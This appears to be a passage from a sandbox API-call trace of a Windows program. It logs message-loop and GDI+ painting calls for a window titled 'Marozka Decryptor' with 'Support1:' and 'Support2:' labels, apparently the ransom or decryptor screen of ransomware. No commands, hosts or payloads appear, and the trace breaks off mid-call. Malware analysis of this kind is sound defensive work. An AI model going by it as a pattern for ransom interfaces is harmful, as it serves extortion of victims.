LoadCursorW (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005 [0155.375] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0155.375] SetCursor (hCursor=0x10005) returned 0x10007 [0155.375] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.375] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0155.382] _TrackMouseEvent (in: lpEventTrack=0x2ff9178 | out: lpEventTrack=0x2ff9178) returned 1 [0155.382] SendMessageW (hWnd=0x90016, Msg=0xc16d, wParam=0x0, lParam=0x0) returned 0x0 [0155.382] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0xc16d, wParam=0x0, lParam=0x0) returned 0x0 [0155.382] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x200, wParam=0x0, lParam=0x2d013c) returned 0x1 [0155.382] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0155.382] SetTextColor (hdc=0x1b010670, color=0x0) returned 0x0 [0155.382] SetBkColor (hdc=0x1b010670, color=0xffffff) returned 0xffffff [0155.382] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e034 | out: lpRect=0x19e034) returned 1 [0155.382] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.383] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.383] GetSystemMetrics (nIndex=42) returned 0 [0155.383] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19df14, nMaxCount=1 | out: lpString="") returned 0 [0155.383] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19df14) returned 0x0 [0155.383] GetClientRect (in: hWnd=0x8004e, lpRect=0x19df3c | out: lpRect=0x19df3c) returned 1 [0155.383] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0155.383] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0155.383] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0155.383] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0155.383] SaveDC (hdc=0x1b010670) returned 1 [0155.383] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0155.383] CreateSolidBrush (color=0x323533) returned 0x1c100628 [0155.383] FillRect (hDC=0x1b010670, lprc=0x19dddc, hbr=0x1c100628) returned 1 [0155.383] DeleteObject (ho=0x1c100628) returned 1 [0155.383] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0155.383] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.383] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.383] GetSystemMetrics (nIndex=42) returned 0 [0155.383] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19deb4, nMaxCount=1 | out: lpString="") returned 0 [0155.383] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19deb4) returned 0x0 [0155.384] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dedc | out: lpRect=0x19dedc) returned 1 [0155.384] GetCurrentObject (hdc=0x1b010670, type=0x1) returned 0xb00017 [0155.384] GetCurrentObject (hdc=0x1b010670, type=0x2) returned 0x900010 [0155.384] GetCurrentObject (hdc=0x1b010670, type=0x7) returned 0x400506ef [0155.384] GetCurrentObject (hdc=0x1b010670, type=0x6) returned 0x8a01c2 [0155.386] SaveDC (hdc=0x1b010670) returned 1 [0155.386] GetNearestColor (hdc=0x1b010670, color=0x323533) returned 0x323533 [0155.386] CreateSolidBrush (color=0x323533) returned 0x1d100628 [0155.386] FillRect (hDC=0x1b010670, lprc=0x19dd7c, hbr=0x1d100628) returned 1 [0155.387] DeleteObject (ho=0x1d100628) returned 1 [0155.387] RestoreDC (hdc=0x1b010670, nSavedDC=-1) returned 1 [0155.387] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.387] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.387] GetSystemMetrics (nIndex=42) returned 0 [0155.387] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19deb4, nMaxCount=1 | out: lpString="") returned 0 [0155.387] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19deb4) returned 0x0 [0155.389] GetKeyState (nVirtKey=2) returned 0 [0155.389] GetKeyState (nVirtKey=4) returned 0 [0155.390] GetKeyState (nVirtKey=5) returned 0 [0155.390] GetKeyState (nVirtKey=6) returned 0 [0155.390] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.390] IsWindowUnicode (hWnd=0x1023e) returned 1 [0155.390] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.390] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.390] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.390] BeginPaint (in: hWnd=0x1023e, lpPaint=0x19e8e8 | out: lpPaint=0x19e8e8) returned 0x1e0106e1 [0155.391] GdipCreateHalftonePalette () returned 0x4d080627 [0155.391] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0155.391] GetWindowTextLengthW (hWnd=0x1023e) returned 17 [0155.391] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11 [0155.391] GetSystemMetrics (nIndex=42) returned 0 [0155.391] GetWindowTextW (in: hWnd=0x1023e, lpString=0x19e86c, nMaxCount=18 | out: lpString="Marozka Decryptor") returned 17 [0155.391] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0xd, wParam=0x12, lParam=0x19e86c) returned 0x11 [0155.392] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0155.392] EndPaint (hWnd=0x1023e, lpPaint=0x19e8e4) returned 1 [0155.392] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.392] IsWindowUnicode (hWnd=0x8004e) returned 1 [0155.392] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.392] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.392] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.392] BeginPaint (in: hWnd=0x8004e, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x10105d6 [0155.392] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0155.392] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0155.392] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.393] GetSystemMetrics (nIndex=42) returned 0 [0155.393] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0155.393] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0155.393] SelectPalette (hdc=0x10105d6, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0155.393] EndPaint (hWnd=0x8004e, lpPaint=0x19e8f8) returned 1 [0155.393] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.393] IsWindowUnicode (hWnd=0x50210) returned 1 [0155.393] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.393] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.393] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0155.394] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0155.394] SetTextColor (hdc=0x2601019f, color=0x6994f5) returned 0x0 [0155.394] SetBkColor (hdc=0x2601019f, color=0x302d2d) returned 0xffffff [0155.398] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.398] IsWindowUnicode (hWnd=0x900b0) returned 1 [0155.398] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.398] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.398] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.398] BeginPaint (in: hWnd=0x900b0, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0155.398] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0155.399] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x2e01062b [0155.399] GetObjectType (h=0x1e0106e1) returned 0x3 [0155.399] CreateCompatibleBitmap (hdc=0x1e0106e1, cx=1, cy=1) returned 0x36050720 [0155.407] GetDIBits (in: hdc=0x1e0106e1, hbm=0x36050720, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x19e3bc, usage=0x0 | out: lpvBits=0x0, lpbmi=0x19e3bc) returned 1 [0155.407] GetDIBits (in: hdc=0x1e0106e1, hbm=0x36050720, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x19e3bc, usage=0x0 | out: lpvBits=0x0, lpbmi=0x19e3bc) returned 1 [0155.407] DeleteObject (ho=0x36050720) returned 1 [0155.408] CreateDIBSection (in: hdc=0x1e0106e1, lpbmi=0x19e40c, usage=0x0, ppvBits=0x19e900, hSection=0x0, offset=0x0 | out: ppvBits=0x19e900) returned 0x4050721 [0155.408] SelectObject (hdc=0x2e01062b, h=0x4050721) returned 0x85000f [0155.408] GdipCreateFromHDC (hdc=0x2e01062b, graphics=0x19e8e4) returned 0x0 [0155.413] GdipTranslateWorldTransform (graphics=0x6915b98, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0155.413] GdipSetClipRectI (graphics=0x6915b98, x=0, y=0, width=110, height=24, combineMode=0x0) returned 0x0 [0155.414] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0155.414] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915e78) returned 0x0 [0155.414] GdipIsMatrixIdentity (matrix=0x6915e78, result=0x19e944) returned 0x0 [0155.414] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff7f0 [0155.415] GdipGetMatrixElements (matrix=0x6915e78, matrixOut=0xeff7f0) returned 0x0 [0155.415] LocalFree (hMem=0xeff7f0) returned 0x0 [0155.416] GdipDeleteMatrix (matrix=0x6915e78) returned 0x0 [0155.416] GdipCreateRegion (region=0x19e92c) returned 0x0 [0155.416] GdipGetClip (graphics=0x6915b98, region=0x6915ea8) returned 0x0 [0155.417] GdipIsInfiniteRegion (region=0x6915ea8, graphics=0x6915b98, result=0x19e938) returned 0x0 [0155.418] GdipSaveGraphics (graphics=0x6915b98, state=0x19e964) returned 0x0 [0155.418] GetWindowTextLengthW (hWnd=0x900b0) returned 9 [0155.418] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x900b0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0155.418] GetSystemMetrics (nIndex=42) returned 0 [0155.418] GetWindowTextW (in: hWnd=0x900b0, lpString=0x19e86c, nMaxCount=10 | out: lpString="Support2:") returned 9 [0155.418] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x900b0, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0155.418] GetClientRect (in: hWnd=0x900b0, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0155.418] GdipCreateRegion (region=0x19e780) returned 0x0 [0155.418] GdipGetClip (graphics=0x6915b98, region=0x6916198) returned 0x0 [0155.418] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0155.419] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6916228) returned 0x0 [0155.419] GdipIsMatrixIdentity (matrix=0x6916228, result=0x19e798) returned 0x0 [0155.419] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff940 [0155.419] GdipGetMatrixElements (matrix=0x6916228, matrixOut=0xeff940) returned 0x0 [0155.419] LocalFree (hMem=0xeff940) returned 0x0 [0155.419] GdipCombineRegionRegion (region=0x6916198, region2=0x6915ea8, combineMode=0x1) returned 0x0 [0155.420] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff4a8 [0155.420] GdipGetMatrixElements (matrix=0x6916228, matrixOut=0xeff4a8) returned 0x0 [0155.421] LocalFree (hMem=0xeff4a8) returned 0x0 [0155.421] GdipDeleteMatrix (matrix=0x6916228) returned 0x0 [0155.421] GdipIsInfiniteRegion (region=0x6916198, graphics=0x6915b98, result=0x19e7c0) returned 0x0 [0155.421] GdipIsInfiniteRegion (region=0x6916198, graphics=0x6915b98, result=0x19e7b0) returned 0x0 [0155.421] GdipGetRegionHRgn (region=0x6916198, graphics=0x6915b98, hRgn=0x19e7b0) returned 0x0 [0155.422] GdipDeleteRegion (region=0x6916198) returned 0x0 [0155.423] GdipGetDC (graphics=0x6915b98, hdc=0x19e7c8) returned 0x0 [0155.423] GetCurrentObject (hdc=0x2e01062b, type=0x1) returned 0xb00017 [0155.423] GetCurrentObject (hdc=0x2e01062b, type=0x2) returned 0x900010 [0155.423] GetCurrentObject (hdc=0x2e01062b, type=0x7) returned 0x4050721 [0155.423] GetCurrentObject (hdc=0x2e01062b, type=0x6) returned 0x8a01c2 [0155.423] SaveDC (hdc=0x2e01062b) returned 1 [0155.423] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x940406fe [0155.423] GetClipRgn (hdc=0x2e01062b, hrgn=0x940406fe) returned 0 [0155.424] SelectClipRgn (hdc=0x2e01062b, hrgn=0xd504070e) returned 2 [0155.424] DeleteObject (ho=0x940406fe) returned 1 [0155.424] OffsetViewportOrgEx (in: hdc=0x2e01062b, x=0, y=0, lppt=0x2ffad2c | out: lppt=0x2ffad2c) returned 1 [0155.425] GetNearestColor (hdc=0x2e01062b, color=0x323533) returned 0x323533 [0155.425] CreateSolidBrush (color=0x323533) returned 0x1e100628 [0155.425] FillRect (hDC=0x2e01062b, lprc=0x19e7cc, hbr=0x1e100628) returned 1 [0155.425] DeleteObject (ho=0x1e100628) returned 1 [0155.425] RestoreDC (hdc=0x2e01062b, nSavedDC=-1) returned 1 [0155.426] GdipReleaseDC (graphics=0x6915b98, hdc=0x2e01062b) returned 0x0 [0155.426] GdipRestoreGraphics (graphics=0x6915b98, state=0xfd950dbd) returned 0x0 [0155.426] GdipDeleteRegion (region=0x6915ea8) returned 0x0 [0155.426] GetWindowTextLengthW (hWnd=0x900b0) returned 9 [0155.426] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x900b0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0155.426] GetSystemMetrics (nIndex=42) returned 0 [0155.426] GetWindowTextW (in: hWnd=0x900b0, lpString=0x19e86c, nMaxCount=10 | out: lpString="Support2:") returned 9 [0155.426] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x900b0, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0155.426] GdipGetDC (graphics=0x6915b98, hdc=0x19e7e8) returned 0x0 [0155.426] GetCurrentObject (hdc=0x2e01062b, type=0x1) returned 0xb00017 [0155.426] GetCurrentObject (hdc=0x2e01062b, type=0x2) returned 0x900010 [0155.426] GetCurrentObject (hdc=0x2e01062b, type=0x7) returned 0x4050721 [0155.426] GetCurrentObject (hdc=0x2e01062b, type=0x6) returned 0x8a01c2 [0155.427] SaveDC (hdc=0x2e01062b) returned 1 [0155.427] GetNearestColor (hdc=0x2e01062b, color=0x6994f5) returned 0x6994f5 [0155.427] RestoreDC (hdc=0x2e01062b, nSavedDC=-1) returned 1 [0155.427] GdipReleaseDC (graphics=0x6915b98, hdc=0x2e01062b) returned 0x0 [0155.427] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0155.427] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0155.428] GdipGetTextRenderingHint (graphics=0x6915b98, mode=0x19e788) returned 0x0 [0155.428] GdipGetDC (graphics=0x6915b98, hdc=0x19e774) returned 0x0 [0155.428] GetCurrentObject (hdc=0x2e01062b, type=0x1) returned 0xb00017 [0155.428] GetCurrentObject (hdc=0x2e01062b, type=0x2) returned 0x900010 [0155.428] GetCurrentObject (hdc=0x2e01062b, type=0x7) returned 0x4050721 [0155.428] GetCurrentObject (hdc=0x2e01062b, type=0x6) returned 0x8a01c2 [0155.428] SaveDC (hdc=0x2e01062b) returned 1 [0155.429] GetTextAlign (hdc=0x2e01062b) returned 0x0 [0155.429] GetTextColor (hdc=0x2e01062b) returned 0x0 [0155.430] SetTextColor (hdc=0x2e01062b, color=0x6994f5) returned 0x0 [0155.430] GetCurrentObject (hdc=0x2e01062b, type=0x6) returned 0x8a01c2 [0155.430] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0155.430] SelectObject (hdc=0x2e01062b, h=0x870a06c6) returned 0x8a01c2 [0155.430] GetBkMode (hdc=0x2e01062b) returned 2 [0155.430] SetBkMode (hdc=0x2e01062b, mode=1) returned 2 [0155.430] DrawTextExW (in: hdc=0x2e01062b, lpchText="Support2:", cchText=9, lprc=0x19e708, format=0x100000, lpdtp=0x2ffb1c0 | out: lpchText="Support2:", lprc=0x19e708) returned 24 [0155.435] GdipReleaseDC (graphics=0x6915b98, hdc=0x2e01062b) returned 0x0 [0155.435] GdipGetDC (graphics=0x6915b98, hdc=0x19e924) returned 0x0 [0155.436] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=110, cy=24, hdcSrc=0x2e01062b, x1=0, y1=0, rop=0xcc0020) returned 1 [0155.436] GdipReleaseDC (graphics=0x6915b98, hdc=0x2e01062b) returned 0x0 [0155.436] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0155.436] SelectObject (hdc=0x2e01062b, h=0x85000f) returned 0x4050721 [0155.436] DeleteDC (hdc=0x2e01062b) returned 1 [0155.436] GdipDeleteGraphics (graphics=0x6915b98) returned 0x0 [0155.436] EndPaint (hWnd=0x900b0, lpPaint=0x19e8c8) returned 1 [0155.437] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.437] IsWindowUnicode (hWnd=0x601fe) returned 1 [0155.437] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.437] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.437] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0155.437] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x601fe, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0155.437] SetTextColor (hdc=0x2701019f, color=0x6994f5) returned 0x0 [0155.437] SetBkColor (hdc=0x2701019f, color=0x302d2d) returned 0xffffff [0155.439] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.439] IsWindowUnicode (hWnd=0x80044) returned 1 [0155.439] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.439] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.439] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.440] BeginPaint (in: hWnd=0x80044, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x10105d6 [0155.440] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0155.440] CreateCompatibleDC (hdc=0x10105d6) returned 0x3101062b [0155.440] SelectObject (hdc=0x3101062b, h=0x4050721) returned 0x85000f [0155.440] GdipCreateFromHDC (hdc=0x3101062b, graphics=0x19e8e4) returned 0x0 [0155.440] GdipTranslateWorldTransform (graphics=0x6915b98, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0155.440] GdipSetClipRectI (graphics=0x6915b98, x=0, y=0, width=110, height=24, combineMode=0x0) returned 0x0 [0155.440] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0155.440] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915e78) returned 0x0 [0155.440] GdipIsMatrixIdentity (matrix=0x6915e78, result=0x19e944) returned 0x0 [0155.440] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff710 [0155.440] GdipGetMatrixElements (matrix=0x6915e78, matrixOut=0xeff710) returned 0x0 [0155.440] LocalFree (hMem=0xeff710) returned 0x0 [0155.440] GdipDeleteMatrix (matrix=0x6915e78) returned 0x0 [0155.441] GdipCreateRegion (region=0x19e92c) returned 0x0 [0155.441] GdipGetClip (graphics=0x6915b98, region=0x6915ea8) returned 0x0 [0155.441] GdipIsInfiniteRegion (region=0x6915ea8, graphics=0x6915b98, result=0x19e938) returned 0x0 [0155.441] GdipSaveGraphics (graphics=0x6915b98, state=0x19e964) returned 0x0 [0155.441] GetWindowTextLengthW (hWnd=0x80044) returned 9 [0155.441] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x80044, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0155.441] GetSystemMetrics (nIndex=42) returned 0 [0155.441] GetWindowTextW (in: hWnd=0x80044, lpString=0x19e86c, nMaxCount=10 | out: lpString="Support1:") returned 9 [0155.441] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x80044, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0155.441] GetClientRect (in: hWnd=0x80044, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0155.441] GdipCreateRegion (region=0x19e780) returned 0x0 [0155.441] GdipGetClip (graphics=0x6915b98, region=0x6916198) returned 0x0 [0155.441] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0155.441] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6916228) returned 0x0 [0155.441] GdipIsMatrixIdentity (matrix=0x6916228, result=0x19e798) returned 0x0 [0155.441] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff780 [0155.441] GdipGetMatrixElements (matrix=0x6916228, matrixOut=0xeff780) returned 0x0 [0155.441] LocalFree (hMem=0xeff780) returned 0x0 [0155.441] GdipCombineRegionRegion (region=0x6916198, region2=0x6915ea8, combineMode=0x1) returned 0x0 [0155.441] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff4a8 [0155.442] GdipGetMatrixElements (matrix=0x6916228, matrixOut=0xeff4a8) returned 0x0 [0155.442] LocalFree (hMem=0xeff4a8) returned 0x0 [0155.442] GdipDeleteMatrix (matrix=0x6916228) returned 0x0 [0155.442] GdipIsInfiniteRegion (region=0x6916198, graphics=0x6915b98, result=0x19e7c0) returned 0x0 [0155.442] GdipIsInfiniteRegion (region=0x6916198, graphics=0x6915b98, result=0x19e7b0) returned 0x0 [0155.442] GdipGetRegionHRgn (region=0x6916198, graphics=0x6915b98, hRgn=0x19e7b0) returned 0x0 [0155.442] GdipDeleteRegion (region=0x6916198) returned 0x0 [0155.442] GdipGetDC (graphics=0x6915b98, hdc=0x19e7c8) returned 0x0 [0155.442] GetCurrentObject (hdc=0x3101062b, type=0x1) returned 0xb00017 [0155.442] GetCurrentObject (hdc=0x3101062b, type=0x2) returned 0x900010 [0155.442] GetCurrentObject (hdc=0x3101062b, type=0x7) returned 0x4050721 [0155.442] GetCurrentObject (hdc=0x3101062b, type=0x6) returned 0x8a01c2 [0155.442] SaveDC (hdc=0x3101062b) returned 1 [0155.442] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xd704070e [0155.442] GetClipRgn (hdc=0x3101062b, hrgn=0xd704070e) returned 0 [0155.442] SelectClipRgn (hdc=0x3101062b, hrgn=0x970406fe) returned 2 [0155.442] DeleteObject (ho=0xd704070e) returned 1 [0155.442] DeleteObject (ho=0x970406fe) returned 1 [0155.443] OffsetViewportOrgEx (in: hdc=0x3101062b, x=0, y=0, lppt=0x2ffb5e8 | out: lppt=0x2ffb5e8) returned 1 [0155.443] GetNearestColor (hdc=0x3101062b, color=0x323533) returned 0x323533 [0155.443] CreateSolidBrush (color=0x323533) returned 0x1f100628 [0155.443] FillRect (hDC=0x3101062b, lprc=0x19e7cc, hbr=0x1f100628) returned 1 [0155.443] DeleteObject (ho=0x1f100628) returned 1 [0155.443] RestoreDC (hdc=0x3101062b, nSavedDC=-1) returned 1 [0155.443] GdipReleaseDC (graphics=0x6915b98, hdc=0x3101062b) returned 0x0 [0155.443] GdipRestoreGraphics (graphics=0x6915b98, state=0xfd930dbd) returned 0x0 [0155.443] GdipDeleteRegion (region=0x6915ea8) returned 0x0 [0155.443] GetWindowTextLengthW (hWnd=0x80044) returned 9 [0155.443] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x80044, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0155.443] GetSystemMetrics (nIndex=42) returned 0 [0155.443] GetWindowTextW (in: hWnd=0x80044, lpString=0x19e86c, nMaxCount=10 | out: lpString="Support1:") returned 9 [0155.443] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x80044, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0155.443] GdipGetDC (graphics=0x6915b98, hdc=0x19e7e8) returned 0x0 [0155.443] GetCurrentObject (hdc=0x3101062b, type=0x1) returned 0xb00017 [0155.443] GetCurrentObject (hdc=0x3101062b, type=0x2) returned 0x900010 [0155.443] GetCurrentObject (hdc=0x3101062b, type=0x7) returned 0x4050721 [0155.444] GetCurrentObject (hdc=0x3101062b, type=0x6) returned 0x8a01c2 [0155.444] SaveDC (hdc=0x3101062b) returned 1 [0155.444] GetNearestColor (hdc=0x3101062b, color=0x6994f5) returned 0x6994f5 [0155.444] RestoreDC (hdc=0x3101062b, nSavedDC=-1) returned 1 [0155.444] GdipReleaseDC (graphics=0x6915b98, hdc=0x3101062b) returned 0x0 [0155.444] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0155.444] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0155.444] GdipGetTextRenderingHint (graphics=0x6915b98, mode=0x19e788) returned 0x0 [0155.444] GdipGetDC (graphics=0x6915b98, hdc=0x19e774) returned 0x0 [0155.444] GetCurrentObject (hdc=0x3101062b, type=0x1) returned 0xb00017 [0155.445] GetCurrentObject (hdc=0x3101062b, type=0x2) returned 0x900010 [0155.445] GetCurrentObject (hdc=0x3101062b, type=0x7) returned 0x4050721 [0155.445] GetCurrentObject (hdc=0x3101062b, type=0x6) returned 0x8a01c2 [0155.445] SaveDC (hdc=0x3101062b) returned 1 [0155.445] GetTextAlign (hdc=0x3101062b) returned 0x0 [0155.445] GetTextColor (hdc=0x3101062b) returned 0x0 [0155.445] SetTextColor (hdc=0x3101062b, color=0x6994f5) returned 0x0 [0155.445] GetCurrentObject (hdc=0x3101062b, type=0x6) returned 0x8a01c2 [0155.445] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0155.445] SelectObject (hdc=0x3101062b, h=0x870a06c6) returned 0x8a01c2 [0155.445] GetBkMode (hdc=0x3101062b) returned 2 [0155.445] SetBkMode (hdc=0x3101062b, mode=1) returned 2 [0155.445] DrawTextExW (in: hdc=0x3101062b, lpchText="Support1:", cchText=9, lprc=0x19e708, format=0x100000, lpdtp=0x2ffba7c | out: lpchText="Support1:", lprc=0x19e708) returned 24 [0155.446] RestoreDC (hdc=0x3101062b, nSavedDC=-1) returned 1 [0155.449] GdipReleaseDC (graphics=0x6915b98, hdc=0x3101062b) returned 0x0 [0155.449] GdipGetDC (graphics=0x6915b98, hdc=0x19e924) returned 0x0 [0155.449] BitBlt (hdc=0x10105d6, x=0, y=0, cx=110, cy=24, hdcSrc=0x3101062b, x1=0, y1=0, rop=0xcc0020) returned 1 [0155.449] GdipReleaseDC (graphics=0x6915b98, hdc=0x3101062b) returned 0x0 [0155.449] SelectPalette 